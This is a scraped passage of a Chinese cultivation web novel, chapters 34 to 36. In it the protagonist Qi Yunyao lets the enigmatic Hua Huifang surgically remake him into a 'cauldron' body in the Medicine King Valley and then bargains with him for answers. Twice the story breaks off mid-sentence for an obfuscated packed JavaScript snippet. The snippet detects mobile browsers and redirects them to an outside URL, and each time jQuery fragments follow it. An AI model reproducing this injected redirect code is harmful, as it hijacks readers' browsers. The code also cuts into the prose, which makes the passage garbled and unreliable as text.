祁云耀下意识抬眼,视线稍稍上移,便对上了一双黝黑却泛着诡异红光的眼睛。 那人见自己终于被发现,缓缓伸出手,轻轻替他合上木盒,旋即嘴角一咧,露出了满口锋利的尖牙。 花秽芳脸上挂着诡异的笑容,开口说道:“好久不见啊,找你找了好久。” 不等祁云耀反应,花秽芳手指一使劲,便直接将木盒从他手中夺走,小心翼翼地握在手里,又抬眼看向他,笑容愈发诡异:“我们来做个交易吧。你把这个给我,我帮你一个忙,怎么样?” 34. 交易 祁云耀抬眼看了看面前的人,显然没料到会在这里遇见他,而花秽芳却当做他默认了,当即便要将盒子收入囊中。 他见状连忙制止:“不行!这是——” 话没说完,原本还以为会上演一出争夺战,就见花秽芳动作一僵,睫毛微微一颤,旋即面上的假笑更假了几分,竟然真的听话将装有蛇角的那个盒子还了回来。 不过即便这样,他也还是不甘心,手指死死捏在盒子两角,面上笑容一收,难得多了几分正经:“说真的,我能帮你一个忙。你也知道我的本事,说不定——” 他脸上再度洋溢出那种诡异的假笑,一只手轻轻指了指祁云耀的心脏,继续道:“我能帮你完成心中所想呢?” 闻言,祁云耀面色一变,他同样两手捏着盒子对角,语气严肃问道:“你能帮我找到我想找的人?” 花秽芳眼睛一弯,手指在空中稍微点了点,眉头一挑,旋即露出了然的表情,问道:“即便你要找的人已经死了?” “死了?”他脑中轰的一声炸开,心脏狠狠揪紧起来。 “对啊,死透了,十年前就死了。”花秽芳继续补充道,说着手上用劲想将盒子抢过来,咬牙切齿道,“难怪我说你怎么脑袋亮晶晶的呢!” 祁云耀没管他后边这没头没脑的一句,而是同样不服输地争夺着这个盒子,眼见盒子要被夺走,慌乱之下厉喝道:“不行,不给你,我要换一个,我不问这个了!” 更诡异的是,在祁云耀说完这句话后,花秽芳竟然奇异的力道一松,旋即祁云耀整个人因为惯性摔倒在沙滩上。 爬起来时,只见花秽芳半张脸照耀在夕阳余晖里,另外一半则藏在巨大的兜帽下,乍一看像鬼魅似的,十分阴森。 “耍赖啊,小朋友?” 祁云耀咽了咽口水,将手中盒子护住,缓缓从地上爬起来。尽管早就已经不抱什么希望,如今这个诡异的半仙突然出现,不由得让他心里又生出些火苗。他不答反问道:“那你知道‘那件事’的真相吗?” 他故意没说明是什么事,就是想探一探这个半仙的底细。却不料他压根不接茬,脸上表情很快恢复自然,摇头晃脑嘻嘻哈哈追问:“不知道啊?你说的什么——” “我给你——”祁云耀出声打断,将木盒递上,“你好好回答我就给你。真的。” 花秽芳狡黠地笑了笑,接过木盒。没有先回答他的问题,而是掀开盖子仔细确认过盒子里是他要的东西,才重新纡尊降贵地伸出手指在空中虚点。 这会不同于之前的是,祁云耀明显看见了一点灵气的波动。而花秽芳也注意到了他的眼睛似乎在捕捉灵气运动,不由得露出玩味之色:“西门家的秘术什么时候传男人了?” 祁云耀不让他蒙混过去,追问道:“你算到了什么?” “算?我可不会算命呢——”花秽芳露出不屑之色,旋即摇头晃脑一唱三叹道,“这件事我没法告诉你。” “为什么?” “天机不可泄啊……”花秽芳手指了指天,嗤笑出声。 “你骗我!”祁云耀当即就要将盒子夺回来,却不料花秽芳脚步一转,侧身躲开。 “你现在与其跟我纠缠,不如仔细想清楚你到底想干什么?”花秽芳被祁云耀追得满沙滩跑,期间几次想掐诀布阵脱身,却都被他拦下。 “等下!”他出声阻止,花秽芳却依旧往远处跑了两步才停下,两人之间隔了一段距离,显然是怕他故技重施,反悔抓人。 “你懂阵法之术?”祁云耀问道。他刚才见花秽芳边跑边掐诀布阵,脑中忽然灵光一现,“你能送我进青云剑庄吗?我想进剑庄。” “嗬嗬——”花秽芳被追得满头是汗,怀里紧紧抱着小盒子不肯撒手,挑眉得意道,“当然可以,不过我送你进去的结果,就是你立刻被人丢出来。” “那你有别的办法送我进去?”祁云耀追问。 “我倒是听说过一个小道消息——” 花秽芳想了想,嘴角一咧,又露出那阴森森的尖牙,“谢长泽下山了,在寻找炉鼎,你可以从这里下手。” 祁云耀眉头一皱。让他震惊的不是谢长泽竟然下山了,而是像他那样的人,居然会寻找炉鼎? 类似的消息他一两年前便听过,只知道谢长泽下山寻人,却不知对方找的竟是炉鼎。 “你的消息从何而来?”他谨慎询问。 “自然是因为——我不告诉你!”花秽芳话头一转,“你与其在这里问东问西,不如好好想想怎么利用这点混进去。‘远在天边,近在眼前’哦~” “现在哪里还有什么炉鼎之人?”祁云耀皱眉道,“整个天盟地宗都找不出五个,更别说……”他还想再说,却见花秽芳一瞬不瞬地盯着自己,眼神里满是贪婪。 “你是说——”祁云耀有些不确定地开口,“我?你有办法让我伪装成炉鼎?” “是‘极品炉鼎’哦。”花秽芳慢悠悠补充,“而且我哪会什么伪装啊?我只是能把你,彻底变成一个炉鼎之体罢了。” 祁云耀眼睫一颤,垂眸盯着眼前这个半仙,久久没有说话。 时间仿佛被拉得很长,又仿佛只过了一瞬,他终于轻轻吐出几个字: “我答应你。” “什么?”花秽芳故意凑过来,手掌贴在耳后,笑得一脸狡黠,“我年纪大了,听不见。” “我说,我愿意变成炉鼎。” 祁云耀一字一顿,声音清亮。 花秽芳却立刻摊开手,一脸为难:“可我不愿意啊。你知道改造一个炉鼎多费功夫吗?就这么点报酬,我亏死了。” 他掂了掂手里的木盒,撇了撇嘴:“再说,我都告诉你别人不知道的消息了,按理来说,交易早完了。” “不是你说会帮我吗?”祁云耀质问道。 “告诉你消息,也算帮啊。”花秽芳满不在乎。 他咬了咬牙,又伸手去翻自己那只灰扑扑的储物袋,想再找出点能交换的东西。 花秽芳却适时拦住他:“别找了,你那堆破烂我看不上。我也不是不能帮你改造,亏就亏点……不过嘛——” “不过什么?” “我一直缺个药人。等你去青云剑庄办完你的事,就来药王谷给我当药人。放心,不用一辈子,就几个月,我就放你走,怎么样?” 祁云耀刚要开口答应,花秽芳又故作苦恼地补了一句: “不过啊,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227416|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药人可是要心智极坚定的人,不然,会死在实验里的。你做好准备了?” 这一次,祁云耀连想都没有多想,甚至连回答都没有,直接跟着花秽芳,一同往药王谷的方向去了。 花秽芳走在前面带路,祁云耀紧随其后。随着周遭景象渐渐变得熟悉,他心里便清楚,马上就要进入药谷了。 可到了一个岔路口,花秽芳却脚步一转——既没选左边通往药谷的小道,也没选右侧远离药谷的大道,反倒带着他直直往前走,钻进了树木葱茏的深山里。 祁云耀满心疑惑地开口:“怎么不走正门?” 花秽芳语气随意:“没让人看见我出来,自然不能从大门回去!” 他不再多问,乖乖跟着人继续前行。花秽芳带着他在林间穿梭,这条路极其隐蔽,甚至算不上是条路——峭壁陡峭,荆棘丛生,稍有不慎,就会跌落万丈深渊。 花秽芳时不时回头瞥祁云耀一眼,随即抬手指了指离两人只有几寸之遥的药王谷护山大阵,郑重叮嘱:“你看得见灵气,切记别碰到这个,不然我们俩都得死。” 祁云耀虽不知缘由,却还是立刻将背在右肩的诉心剑换到了左肩,生怕剑身在不经意间触碰到阵法,给两人招来麻烦。 一路沿着护山大阵绕圈,直到行至西峰山脉,赫然看见前方的阵法缺了个小口,刚好能容一个人通过。 花秽芳率先钻了进去,进去后又回头重申叮嘱:“别碰到阵法。” 祁云耀放轻呼吸,小心翼翼地攥着自己的左右衣袖,万分谨慎地钻了进去。直到诉心剑最后一点剑刃也进入阵内,他才暗暗松了口气。 入阵后,两人的行动稍稍放松了些,又沿着山道走了数十里。待月上中天时,才隐隐约约看见不远处的山巅上,孤零零立着一间屋子。 花秽芳站在一块巨石上,回头冲他咧嘴一笑:“到了。” 祁云耀喘着粗气,抬眼望去,脚步稍微一顿。 月光下,似乎五个小小的身影并排站在不远处的屋檐下,正齐刷刷地盯着他们。 这和他原先的猜测差不多,回去西门后他就觉得那五个诡异的小孩是花秽芳的手笔。 越走越近,待到他看清楚这五个人后,瞬间呆住了。 他还以为这便是之前那五个诡异的“灵枢幼年版”小童,可走近了才发现,并非如此——一模一样的脸,一模一样的表情,还有一模一样的—— 银发,尖牙。 这压根不是原先那五个小童,而是五个和花秽芳长得一模一样的孩童,和之前那五个小童的区别一样,只在于发髻数量不同。 可就在他愣神的间隙,屋檐下的阴影里,又缓缓走出了几个小小的身影。 一个、两个、三个…… 祁云耀的呼吸骤然一窒。 又是五个小孩。 这些孩子从阴影中走出,成双成对地站在一起——每一个“小花秽芳”身边,都站着一个“小灵枢”。他们齐齐歪着头,一瞬不瞬地盯着祁云耀。 月光洒落在他们脸上,照亮了那一张张一模一样、带着诡异微笑的脸庞。 花秽芳站在一旁,笑眯眯地开口: “欢迎来我西峰做客——” 35. 炉鼎(补加更) 踏入院内,祁云耀才真正惊觉西峰院落之大。十年前他与谢重楼登门时,只觉西峰屋舍比东峰灵枢那座小院稍大一圈,可亲身踏足才知,这里竟足足大出七八倍有余。 院子被隔出数百间小室,每一个隔间里,都躺着哀声痛嚎的病人。花秽芳步履从容,引着他缓步穿行,目光只淡淡斜扫过隔间内的景象,便漠然收回。 祁云耀也借着余光悄然打量:里面病人男女老少皆有,无一例外都是凡人,无不面色扭曲、捂着腹部凄厉哀嚎。每间小室里,都守着一两个木偶照料——木偶们皆是无眼无鼻、不着寸缕,关节粗糙生硬,每一次扭动,都发出令人牙酸的嘎吱声响。 他不动声色地往后望去,身后的十个小童,神情一模一样,可关节连接处,却是真实的皮肤质感,让人根本分不清他们究竟是不是木偶。 他还没想清楚他们究竟是什么东西,一行人已走到廊道尽头。 尽头处,立着一扇厚重的双开木门。 两名小童上前几步,轻轻将门推开。门内的景象,让祁云耀心头猛地一震。 里头是一间阔如庭院的大厅,没有隔间,只做大通铺,十多张床榻对立着排开,同样也是躺满了病人。不过这里头的病人比外面那些隔间里的看上去状态要差得多,几乎都是进气少出气多。甚至有几个的皮肤已经接近苍白。几乎看不见呼吸。腰腹处的伤口渗出暗红痕迹。 可这还不是最让他震惊的。最惊人的是,屋内竟还有五对一模一样的人,依旧是花秽芳和灵枢的模样,只是这些“人”的年岁看上去已然长大不少: “灵枢”们,容貌与本尊几乎无差;“花秽芳”们,则愈发绝艳出众,眉眼间妖冶逼人,若不是那一口尖牙,任谁都会以为是个能蛊惑人心的绝色美人。 而他们和后面的小童们最大区别,便是头发不再梳成滑稽的多髻,而是腰间铃铛的数量不同,从一到五,行走间发出轻微的叮铃声。 十人原本分散在各处,照料着奄奄一息的病人。一见花秽芳,立刻停下手头的动作,两两成对,齐齐围拢过来。 “先带他去梳洗,待会儿送进来。”花秽芳吩咐完便自顾自往大厅角落走去。祁云耀眯眼细看,才发觉那里竟还藏着两三个小门,完全嵌在墙里,不仔细瞧根本发现不了。 青年们堵在身前,少年们守在身后,他被围在中间,前后不是人。最终,是各自腰间挂着铃铛的青年们率先行动,伸手做出“请”的姿态,引着他走向另一侧的小门。 推开门,入目便是一间浴室,古怪的是,浴室一角立着张小桌,桌上供奉着一对神像。祁云耀心头一动——他忽然想起,外面的每间隔间、还有大厅大门两侧,似乎也都供奉着这样的神像。 他想凑过去看清神像的模样,手腕却被两人一把拉住。 “请沐浴吧,客人!”两人异口同声,语气死板,脸上随即同时扯出一抹诡异的怪笑,和花秽芳的假笑如出一辙,甚至更显阴森,竟有青出于蓝之势。 祁云耀后背一阵发毛,只得顺从地走到浴桶边。低头一瞧,桶里装的并非清澈的温水,而是一种淡黄色的液体。他不知那是什么,回头确认两人仍守在门边,才俯身用手捧了些凑到鼻尖轻嗅——没有丝毫异味。 转头问道:“这是什么水?” “大人特意调配的沐浴水!”“灵枢”模样的青年率先开口。 “可以把你洗得更干净哟!”“花秽芳”模样的青年紧接着补充,语气诡异。 祁云耀被他们这副一板一眼、却又透着诡异的模样,激得后背又是一阵发毛。最终深吸一口气,猛地吐出,索性脱干净身上的衣物,“哗啦”一声坐进了浴桶。 不知是浴桶里的水温太高,还是他神经太过紧绷,坐下后没多久,便生出一阵晕晕乎乎的感觉。只觉浑身的毛孔都被热气蒸开,那莫名其妙的淡黄色液体,正顺着毛孔一点点钻进他的身体里。 他无力地倚靠在浴桶边缘,眼神渐渐变得迷离,脖子不受控制地歪斜着,抵在桶壁上。视线恰好落在墙角那对神像上,忽明忽暗、时清时糊。 恍惚间,他好像看清了神像的样貌——右边那人满头红发,眉心一点朱砂痣,眉眼弯弯,笑容灿烂;左边那人则是满头华发,神色庄严肃穆,却难掩一副绝好皮囊。 乍一看……乍一看竟和花秽芳有七分相似! 太自恋了吧!祁云耀昏昏沉沉地想,哪有人把自己做成神像供奉的? 不对! 他身边的那个人,不是灵枢啊…… 是谁呢…… 还没等他琢磨清楚那人的身份,一股浓重的眩晕感席卷而来,整个人彻底失去了意识,软软地滑进了浴桶里…… “呜呜呜!大人怎么办!他流了好多血!” “别慌!阿一把布递给我!” “呜呜呜又要失败了!大人怎么办啊?大人要死了!” “别吵!把针递给我!” 周围乱糟糟的,哭泣声此起彼伏、尖锐刺耳。花秽芳的声音混在其中,宛如定海神针,话音一落,哭声便会稍稍平息,可下一秒,又有新的啜泣声尖锐响起。 祁云耀被吵得脑子嗡嗡作响,他皱了皱眉,想睁开眼睛,眼皮却像被粘在了一起,无论怎么用力,都掀不开分毫。后脑勺传来阵阵麻木的钝痛,浑身上下更是沉重得动弹不得。 “大人!大人他动了!” 又是一声尖锐的哭喊。 祁云耀被这声音激得浑身一震,眼皮终于掀开了一道细缝。入目最先看到的,便是花秽芳那张惊艳绝世的脸——他面容平静,手上动作却利落飞快,正不断往祁云耀身上扎针,调试。 他眼珠微微转动,只见花秽芳身边围满了那群怪异的青年,个个哭得上气不接下气、涕泪横流,那尖锐的哭声不绝于耳,几乎要震破他的耳膜。 疲惫地合上眼睛,不知为何,他意识又渐渐沉了下去,昏昏欲睡。 朦胧间,竟梦见了谢重楼。 谢重楼已经很久没来他梦里了,像是在刻意躲着他。即便偶尔出现,也只短暂待上片刻,便匆匆飞出他的梦境——就像当年那五年一样。 尽管他心里清楚,谢重楼那时身负任务,可心底深处,还是忍不住生出几分埋怨。 “你这次要待多久?梦里也有任务要做吗?”祁云耀轻声问他。 谢重楼没有回答,只是双手背在身后,姿态有些扭捏。 “我想,如果有一天我重新找到你,一定要问清楚。”祁云耀望着他,缓缓开口,“我和剑庄派给你的任务,到底哪个更重要?你只能选一个,不能都要。” 谢重楼依旧沉默,脸上露出局促的神色,乌黑的眼珠无措地左右转动了一圈,最后定定地看向祁云耀。那双透亮的眼眸里似有千言万语,却又晦涩难懂,让人猜不透他究竟想说什么。 “我不想猜,你告诉我吧,选什么都可以。”祁云耀补充,语气里带着几分妥协,“你选什么我都不生气,好吗?” 谢重楼依旧一言不发,嘴唇像是被黏在了一起。 两人就这么僵持着。就在祁云耀心头一软,打算再退一步时,谢重楼却忽然动了——他抬手指了指祁云耀的身后。 祁云耀一愣,回头望去,不知何时,他身后竟凭空出现了一个黑黝黝的洞口,深不见底,透着几分诡异的寒意。还没等他反应过来,谢重楼已然快步扑了过来。 两人瞬间贴得极近,祁云耀还沉浸在惊愕中,谢重楼的双手已经轻轻捧住了他的脸。 这一回和从前不同,如今祁云耀比谢重楼高出一个头,谢重楼只得费力地微微踮脚,将他的脸往下拽。祁云耀下意识地弯腰,下一秒,一片温软便覆上了他的嘴唇。 可还没等他细细回味这片刻的暖意,谢重楼便猛地发力,一把将他往身后的黑洞推去。 身体被无边黑暗瞬间吞噬的刹那,耳边传来了谢重楼清晰无比的声音: “我在等你。” “谢重楼!” 祁云耀大叫着猛地睁开眼,整个人从床上弹坐起来,可下一秒,剧烈的疼痛便让他重重摔回床榻,浑身抽搐了一下。四肢百骸像是被人打碎后重新拼接起来,尤其是腰腹处,一阵阵麻木的钝痛源源不断击打着他的神经,钻心刺骨。 他费力地低头去看,只见自己上半身不着寸缕,腰腹间裹满了洁白的纱布,而方才剧烈的动作,已然让纱布被鲜红迅速浸透,刺目的红快速晕染。 “啊呀!病人你在做什么!” 几乎是同时,一个“灵枢”模样的青年快步飞扑过来,死死按住他的肩膀,防止他再乱动;下一刻,一个“花秽芳”模样的青年也匆匆赶来,手里攥着新的纱布和止血药材。两人配合得极为默契,立刻动手将他身上沾血的纱布小心换下,动作利落地上药止血,再迅速裹上新的纱布。 祁云耀趁机看清了自己腰腹处的伤口——一道惨烈的伤痕从左肋蜿蜒至右腰,原本已经浅浅结了一层薄痂,却被他刚才的动作彻底崩开,此刻虽已止住血,那翻卷的皮肉依旧可怖至极。 这两人的动作娴熟利落,半点不像他先前见到的那般只会哇哇大哭、手足无措的模样。再看二人腰间挂着的同款铃铛,祁云耀心头一动,想来这两人都是“一号”。 “阿一?”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232907|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试探着开口叫了一声,却不料两个青年齐齐转过头,语气刻板地齐声问道:“病人有什么事吗?” 祁云耀心里了然,面上依旧惨白如纸,又费力地问道:“花秽芳呢?他去哪里了?” “大人不在,自然是因为大人有大人的事啊!”两人异口同声地解释着,“病人不必担心,大人忙完大人的事,就会回来啦。”说罢,二人脚步一转,便要转身走出房间。 祁云耀此刻住的地方,既不是先前的大厅,也不是那些小隔间,而是一间十分宽敞的卧室。他眼珠飞快一转,脑海中不断思索,在两人即将踏出房门的瞬间,突然开口询问: “你们刚才说的‘大人’,是指花秽芳,还是灵枢?或者说,前一个‘大人’是花秽芳,后一个‘大人’是灵枢——对吗?” 他艰难地偏过头,目光紧紧盯着两个青年的背影,只见两人的脚步齐齐一顿,身体微微僵硬了一瞬,随即缓缓转过身,脸上扯出一抹假笑,什么也没说,转身便快步走出了房门,轻轻带上了门。 祁云耀数不清自己究竟在床上躺了多少天。 多数时候是阿一们来给他换药,有时是其他人,甚至有一天,是那些小童们来的。 头上扎一个发髻的小童不叫阿一,叫小一,其余以此类推,只扎三个发髻的,却不叫小三而叫小六。祁云耀追问缘由,小童们只解释说“是大人要求的”,再多便一问三不知。 他们轮流守着他,动作永远利落,表情永远僵硬,偶尔会齐声问一句“病人感觉怎么样”,可话音刚落便转身离开,压根不需要他的回答。 花秽芳自始至终没出现过,仿佛被什么要紧事绊住了手脚,半点音讯也无。 祁云耀问过好几次他的下落,得到的回答永远是那句一成不变的“大人有大人的事”。 直到那天,房门被轻轻推开,进来的不是那些千篇一律的假人,而是花秽芳本人。 祁云耀也是第一次见这样的花秽芳——不再是孩童模样,反倒身形高大挺拔,单从外形看,竟和自己不相上下;而且他面色红润,浑身上下都透着难以掩饰的欢愉,显然是心情大好。 祁云耀不懂他在开心什么,也懒得深究,直截了当开口询问:“结束了?” “大成功啊!”花秽芳语气里满是惊叹,旋即转身走到一旁的小桌边,拿起一把小巧的剪刀,快步走回床边,“虽说有一点点小失误,但瑕不掩瑜。果然,还是得靠你才行。” 祁云耀没追问他这话的意思,目光死死盯着那把离自己越来越近的剪刀——花秽芳要剪开他腰腹处的纱布,查看伤口。 他一瞬不瞬地盯着花秽芳,就在剪刀的尖端即将触碰到自己皮肤的刹那,眼底闪过一丝暗芒,急忙轻声开口:“我不同意。” “什么?”花秽芳脸上那抹真情实意的笑容猛地一僵,手上的动作也随之顿住。 “我说,我不同意你这么做。”祁云耀脸上勾起灿烂的笑,眼睛挑衅地盯着花秽芳。 花秽芳的面色彻底垮了下来,周身的气息骤然变得低沉骇人,连周遭的空气都仿佛凝固。门口守着的阿一们吓得互相搀扶,嘴里尖叫着“好可怕!大人好可怕!”,慌慌张张地跑走。 屋里瞬间只剩下他们两个人。 祁云耀坐在床上,神色轻松淡然;花秽芳则站在他床边,身形高大挺拔,周身却萦绕着慑人的寒气,气场骇人。 “怎么不继续了?”祁云耀抬眼追问,目光直直撞进花秽芳的眼底,没有半分退缩。 花秽芳眼底的红色愈发浓郁,像是整个眼球都要被染成血色。他死死咬了咬后槽牙,眼神冰冷,一字一句问道:“你是怎么发现的?” “在海滩上就发现了。”祁云耀坦然开口,脸上的笑容愈发深,“我还发现,药王谷里,好像不止我一个炉鼎啊。” “当然不止你一个。”花秽芳冷嗤一声,语气里满是不屑,“这么多病人,怎么可能就你一个成功。” “是吗?”祁云耀挑眉,故作随意地威胁道,“那我要走了,反正你还有那么多实验对象,多我一个不多,少我一个不少。”说着,他便撑着床沿,作势要从床上起身。 可他刚一动,就被花秽芳堵住了去路,高大的身影居高临下地笼罩着他,压迫感十足。 两人静静对视着,眼底盛着截然不同的情绪。 最终,花秽芳还是率先败下阵来,他缓缓垂眸,轻叹一声,语气里满是妥协:“你想知道什么?” “前辈能说什么呢?”祁云耀反问,语气里刻意带上了尊称,眼底藏着狡黠,“我想知道的事情,可有点多啊,前辈,你都能说吗?” 36. 尧云 “你可以先问,我考虑一下能不能说。”花秽芳后退几步,在桌边坐下。 “我想想该问什么。”祁云耀身体向后撤,稳稳靠在枕头上,神色从容。下一秒,他毫无征兆地抛出一句结论,语气笃定得没有半分迟疑: “你不是半仙。” 这话并非询问,显然压根不需要花秽芳给出回应。 “为什么这么说?”花秽芳抬眼反问,眼底却藏着一丝不易察觉的期待,又紧接着追问,“我不是半仙,那你觉得我是什么?” 祁云耀皱了皱眉,仔细思索片刻,才试探着开口:“你是灵?” “不是。”花秽芳干脆利落地否定,语气里带着几分得逞的促狭,似是早就料到他会这般猜测。 “那我不猜了。”祁云耀毫不犹豫地切掉话题,神色淡然,显然没兴趣再纠结这件事。 花秽芳却不肯放过他,语气里带着几分促狭:“怎么就不问了?我不是灵,你很失望?” “药王谷里,除了我之外,只有一个炉鼎。”祁云耀直接打断他的话,眼神里带着挑衅,“与其猜你是什么东西,不如猜另一个炉鼎是谁。” 花秽芳的脸色瞬间又垮了下去,周身的气息再次沉了几分,显然被戳中了心事。 祁云耀却全然不惧,自顾自地往下说:“他没到五阶,却能长生二百年,是靠你给他吊命?” 虽是询问的口气,语气却无比笃定,他顿了顿,继续道:“你这几天一直和他待在一起,想必是他那边出了什么事吧?我猜和谢长泽有关——不然,你也不会急着找我。” 他絮絮说着,半点不在意对面花秽芳的脸色已经阴沉得吓人。 “你怎么知道这些?” 花秽芳终是按捺不住,不答反问。 “其实本来只是些猜测,不过见到你,就彻底笃定了。” 祁云耀好脾气地解释,语气里藏着得意,“你身上的味道没洗干净,和人纠缠在一起的气息太重,如今你身上,全是另一个人的味道。” “是吗?” 花秽芳偏过头,下意识地想嗅闻自己身上的气息,可脖子刚转了一半,就听见祁云耀又补了一句,语气清淡却极具冲击力: “还有,痕迹也没遮干净。” 他猛地把脖子扭正,脸色僵硬,直直望着对面的人。 祁云耀已经把自己或真或假的猜测抛了出来,看花秽芳这副表情,便知多半都被他说中。 他心中了然,刚才抛出的那些或真或假的猜测,多半都被他说中了。如今,终于可以真正开口,问出自己最想知道的问题,不必再担心对方给出像上次一样模棱两可或信息不全的回答——毕竟,现在不是他需要花秽芳的帮助,而是花秽芳,求着他来给灵枢救命。 “我的第一个问题:你为什么总说我脑袋亮亮的?”祁云耀望着他,眼底褪去了先前的淡漠,多了几分真切的期待。 花秽芳却像是没料到他会问这个,短促地笑了一声,笑声里带着几分诡异,嘴角勾起,露出几颗尖利的齿尖。他摩挲着下巴,似在思索,随即抬眼,刚一张嘴,吐出一个音节。 “呲——” 只见屋外小院里猛地劈下一道紫电,电光灼目,刺得祁云耀闭上了眼,而还不等他反应,万里无云的晴朗天空竟凭空炸响一声惊雷。* 祁云耀脸色微变,眉头紧紧蹙起,眼底掠过一丝惊疑。 可花秽芳却只顿了一瞬,神色依旧平静,仿佛刚才的紫电与惊雷都与他无关,又要开口。可刚吐出一个字,紫电再度劈落,这一回竟像是有了意识,拐了个弯,直直劈在他脚边的地面上,刺眼的电光瞬间在屋内炸开,照亮了两人脸上的神色。 祁云耀:!!! 眼见花秽芳还要张嘴,他连忙急声阻拦:“我不问了!你别说了!” 花秽芳这才悻悻作罢,脸上露出一抹显而易见的遗憾,眉梢微微一挑,语气诚恳,却藏着几分幸灾乐祸:“不如你先想一想,究竟什么可以问,什么不可以问。不然——” “要是说了些不该说的,你我都被劈死了,那该多不好。”他头微微侧向门外,眼珠微微上挑,目光落在院中的雷光余韵上,话里话外都在暗示着什么。 祁云耀顿了顿,心里已然没了刚才的从容。 他原本以为这人是“灵”——传说灵族诞生于天地,天生拥有神力,千万年前曾有一位灵王名唤瞳君,可窥天下万物。 如今妖族重现,他便想当然地以为灵族也会随之复苏。而花秽芳行事这般古怪,所谓“仙缘”也绝不止一个,所以他才断定,花秽芳不是半仙。可对方既不是半仙,又不是灵,更不是妖。 祁云耀思索片刻,压下心中的疑惑,开口问道:“你在三方中,属于哪一方?” “不清楚。”花秽芳淡淡开口,语气里带着几分漫不经心,仿佛这件事与他无关。 “不清楚?”祁云耀眉峰一蹙,显然不信。 “应该是哪一方势弱,我便属于哪一方吧。”花秽芳摩挲着指尖,语气依旧平淡,顿了顿,又歪了歪头,补充道,“不过我认为,我现在应该是妖?” “妖?”祁云耀紧紧盯着他,眼神里带着几分审视,追问出声,“那灵是谁?” 花秽芳唇角一勾,眼底闪过一丝狡黠,慢悠悠地吐出五个字:“天机不可泄。” “好吧。”祁云耀沉默着靠回枕头上,眼底的疑惑更甚,过了几息,他抬眼看向花秽芳,语气冷淡:“我多久能走?” “这么着急做什么?”花秽芳挑眉,语气里带着几分戏谑,“人都已经死了,你要查的东西,也不急这一时半会儿。” “你这话是什么意思?”祁云耀神色一凝,追问出声。 “时机未到,你这么早出去,说不定会适得其反。”花秽芳收敛了笑意,语气郑重了些,“不如先谈谈我们的事。” “什么事?” “虽说你现在是炉鼎之体,和人双修能快速提升修为——但你不能在四个月内和任何人双修,这是我帮你的条件。” “为什么是四个月?”祁云耀皱紧眉头,满心疑惑。 “因为四个月后,你不和人双修就会死。”花秽芳又露出那抹狡黠的坏笑,语气轻快,却带着几分残忍的暗示,补充道,“当然,也可能是他撑不住。所以你必须比他撑得久,四个月后随你要不要双修,但一旦破了口子,之后每个月都必须至少双修一次,不然,下场只会更惨。” “我从没听过炉鼎有这样的体质。”祁云耀语气坚定,显然不信他的鬼话,眼底满是质疑。 “因为你们都是假的啊。”花秽芳说得轻描淡写,满不在乎,仿佛这句话能轻易颠覆祁云耀的认知。 祁云耀深吸一口气,压下心中的怒火,咬牙道:“你怎么不提前说!” 花秽芳一脸理所当然,摊了摊手:“你没问啊!” “那我现在就要走。”他不再多问,撑着床沿就要起身。 “我说了你现在不能走!”花秽芳伸手就要阻拦。 “我不同意。”祁云耀轻飘飘地开口,语气平淡,却硬生生制止了花秽芳伸到一半的手。就在他说完这句话的瞬间,花秽芳的手猛地一顿,周身的气息瞬间紊乱,天边也隐隐传来几声雷鸣,似在呼应着什么,带着几分警告的意味。 祁云耀丝毫不顾杵在原地紧咬牙关,眼底满是不甘的花秽芳,从一旁提起自己的诉心剑,转身就要出门。 “喂——”花秽芳忽然开口,脸上重新扯出一抹假笑,语气里带着几分刻意的引诱,“你背着这么大一柄剑,怎么去找他呢?一旦出了门,谁都知道你是从西门来的。从你跑出来后,西门和剑庄的关系,可就有点微妙了呢!” 祁云耀的脚步稍缓,眼底闪过一丝迟疑,旋即默默将诉心剑绑在身后,动作利落,头也不回地说:“我会遵守约定,事成之后,自然会回来做你的药人。” “其实我有一个办法……”花秽芳缓缓开口,语气慢悠悠的,脚步轻缓地走到门边,倚靠在门框上,目光紧紧盯着已经步入院中、挺拔高大的身影,眼底藏着几分算计。 “一个很厉害的办法哦~” 他拖长了语调,语气里带着几分蛊惑,试图留住祁云耀的脚步。 不等祁云耀反应,走廊尽头便匆匆奔来两个小童,看发式正是小六们。 灵小六跑得气喘吁吁,一把抓住花秽芳的衣摆,脸上满是焦急,声音都带着颤抖:“大人,不好啦,不好啦!” 花小六则抓住他另一边的衣摆,同样急得满脸通红,急声道:“大人派人来找大人了,说是让大人立刻过去呢!” “怎么办啊大人!”两人齐声问道,语气里满是无措。 花秽芳却半点不急,甚至连眉头都没皱一下,只对着院中的祁云耀扬了扬声,语气带着几分笃定:“先别急着走,不如听听我的办法?” 祁云耀转过身,挑了挑眉…… 另一边,距药王谷还有百里的小镇上。 一个戴纱笠的灰衣男子缓步走入一间小店,叫店家上了茶水,稍作歇息。 他解下腰侧那柄雪白长剑,搁在桌上,又将纱笠取下放在桌边,露出一张俊逸温雅的面容。 是谢长泽。 与前几年相比,他憔悴了许多,面色泛白,周身那股如沐春风的气息早已散尽,取而代之的是一层沉沉死气。 小店内不止他一桌客人,不远处的桌旁坐着四个佩刀大汉,眉宇间干净,并非半仙,一看便是江湖中人。 店家上齐茶水,那群大汉便开始肆意嗤笑打骂,喧闹不堪。原本坐在附近的客人被扰得纷纷离店,他们反倒以此为乐,对着离去的人影指指点点,放声大笑。 